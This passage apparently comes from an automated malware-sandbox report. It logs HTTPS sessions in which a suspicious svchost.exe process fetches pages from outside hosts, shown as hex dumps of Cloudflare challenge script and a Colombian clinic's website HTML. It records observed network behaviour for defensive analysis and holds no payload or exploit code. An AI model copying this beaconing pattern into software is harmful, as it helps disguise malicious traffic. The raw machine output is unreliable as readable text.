cUPMDTk: "\/?__cf_chl_tk=dtcltkz1wpuXtG36hV0jr_exebVEj2jfOcGYO.gb2gE-1678431389-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', cTplV: 4,
2023-03-10 06:56:29 UTC	2329	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 55 50 6f 33 79 53 70 38 47 4d 45 51 37 36 31 4b 45 38 59 6e 5a 41 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c 6b 3d 27 2c 0a 20 20 20 20 20 20 20 Data Ascii: i2: 'UPo3ySp8GMEQ761KE8YnZA==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrlk=',
2023-03-10 06:56:29 UTC	2331	IN	Data Raw: 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 Data Ascii: po.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo"> <div clas
2023-03-10 06:56:29 UTC	2332	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.6	64150	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2343	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.6	64807	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2367	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
2023-03-10 06:56:30 UTC	2402	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:30 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6taSvICEg9OR9%2FfZmNDrEeAABRKVQgxhNp%2FFjZPQMZE%2Bq3sm8YYZEyT7u6B%2FM9KzOM%2FZoOnEzt4WZJj2iEv9jd1Uj6CC3WuDtR0QFDrSVonwzsdcsCLFXcKtrxQ2Obg%2FH1bx%2FY3jROs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a87a392868f2-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:30 UTC	2403	IN	Data Raw: 37 63 61 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7ca9<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:30 UTC	2404	IN	Data Raw: 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f Data Ascii: dules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/
2023-03-10 06:56:30 UTC	2405	IN	Data Raw: 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f Data Ascii: tem/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bo
2023-03-10 06:56:30 UTC	2406	IN	Data Raw: 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 Data Ascii: y5/users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class
2023-03-10 06:56:30 UTC	2408	IN	Data Raw: 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 Data Ascii: lock size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard
2023-03-10 06:56:30 UTC	2409	IN	Data Raw: 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a Data Ascii: nu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li>
2023-03-10 06:56:30 UTC	2410	IN	Data Raw: 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d Data Ascii: </li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-m
2023-03-10 06:56:30 UTC	2412	IN	Data Raw: 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 Data Ascii: ass="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu
2023-03-10 06:56:30 UTC	2413	IN	Data Raw: 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-
2023-03-10 06:56:30 UTC	2414	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e Data Ascii: ontainer" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a>
2023-03-10 06:56:30 UTC	2416	IN	Data Raw: 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 Data Ascii: tem g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-i
2023-03-10 06:56:30 UTC	2417	IN	Data Raw: 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d Data Ascii: li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class=
2023-03-10 06:56:30 UTC	2418	IN	Data Raw: 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d Data Ascii: a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-com
2023-03-10 06:56:30 UTC	2420	IN	Data Raw: 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 Data Ascii: "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup b
2023-03-10 06:56:30 UTC	2421	IN	Data Raw: 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 Data Ascii: t: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="g
2023-03-10 06:56:30 UTC	2422	IN	Data Raw: 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e Data Ascii: ntById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopen
